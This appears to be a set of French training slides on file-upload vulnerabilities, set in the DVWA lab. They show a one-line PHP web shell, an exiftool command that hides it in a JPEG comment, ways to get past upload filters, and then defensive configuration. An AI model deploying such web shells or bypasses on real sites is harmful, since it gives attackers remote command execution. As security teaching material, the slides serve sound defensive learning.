Skip to content
Snippets Groups Projects

upload

Upload de fichier

  • Risque

    • Upload de code arbitraire
      • Backdoor ou Remote shell
  • Deux problèmes

    • filtrage des types de fichiers uploadés
    • exposition / exécution des scripts au niveau du répertoire d'upload

Upload de fichier

  • Configurations liées à l'upload à différents endroits

    • HTML (côté client)
    • PHP (moteur de script)
    • Apache (serveur web)
  • Ergonomiquement intéressant pour l'utilisateur

Note:

  • MIME Multipurpose Internet Mail Extensions
    • pour que les clients mail puissent afficher correctement les PJ
  • pas d'upload ... FTP, WebDav (utilise les verbs HTTP)

Upload / low

sudo chown -R www-data /var/www/DVWA/hackable/uploads

Upload d'un fichier bd.php simple

<?php
echo passthru($_REQUEST['cmd']);
  • Trouver le répertoire d'upload
    • chemins connus dans produits connus
    • code source HTML faisant référence au fichier uploadé
../../hackable/uploads/bd.php succesfully uploaded!

Upload / $_FILES

cd /var/www/DVWA/vulnerabilities/upload/
vi source/low.php
print_r($_FILES);

Array ( 
    [uploaded] => Array ( 
        [name] => bd.php 
        [type] => application/x-php 
        [tmp_name] => /tmp/phpPU0gay 
        [error] => 0 
        [size] => 39 
    ) 
)

Upload / security medium

  • contrôle de l'entête HTTP Content-Type renvoyé par le navigateur

content-type

Upload / security high

kitten

  • visionner le "Comment" du jpg avec exiftool +

  • modifier le champs comment with exiftool

exiftool ~/Downloads/kitten.jpg \
  -comment="<?php echo passthru(\$_REQUEST['cmd']); __halt_compiler();?>"

Code uploadé :)

Upload / security high

code non exécuté :(

on doit passer par une autre vulnérabilité

  • CMDi pour renommer kitten.jpg en kitten.php
  • LFI pour inclure la payload contenu dans kitten.jpg

ou cp kitten.jpg kitten.php ;)

Upload / autres contrôles

db.php

echo passthru($_REQUEST['cmd'])
Command Output
$_FILES['uploaded']['type'] application/x-php
mime_content_type text/x-php
exif_imagetype null (no image)
finfo_file text/x-php
getimagesize[2] null (no image)

Upload / autres contrôles

lego lego.jpeg

Command Output
$_FILES['uploaded']['type'] image/jpeg
mime_content_type image/jpeg
exif_imagetype 2 (IMAGETYPE_JPEG)
finfo_file image/jpeg
getimagesize[2] image/jpeg

Upload / autres contrôles

kitten kitten.jpg.php

Command Output
$_FILES['uploaded']['type'] application/x-php
mime_content_type image/jpeg
exif_imagetype 2 (IMAGETYPE_JPEG)
finfo_file image/jpeg
getimagesize[2] null (no image)

Note:

  • le .php est indispensable pour exécuter la charge dans la commentaire de l'image
  • parler d'exif -> cf le lien la géoloc (sur fb, etc ...)
  • On pourrait également avoir une image malicieuse vouée à infecter le client
    • autre hisoitre
      • difficilement détectable à l'upload

Se préserver

  • Filtrer par extension de fichier plutôt que par type MIME
    • utiliser des listes blanches plutôt que des listes noires
    • un nom de fichier peut contenir des points
      • il faut bien prendre l'extension
    • c'est ce qui est fait avec security high

Se préserver

désactiver php dans le répertoire d'upload

via le vhost ou .htaccess

php_admin_value engine Off

Note:

  • MIME Multipurpose Internet Mail Extensions : pour que les clients mail puissent afficher correctement les PJ

Se préserver

  • Ne plus servir le répertoire d'upload via apache
    • sortir le répertoire d'upload du dossier servi par apache
    • en interdire la lecture avec un htaccess renvoyant une 403 Forbidden

via le vhost ou .htaccess

order deny, allow
deny from all

Se préserver

Note:

  • attention toute la stack Sf2 à chaque image ou asset c'est chaud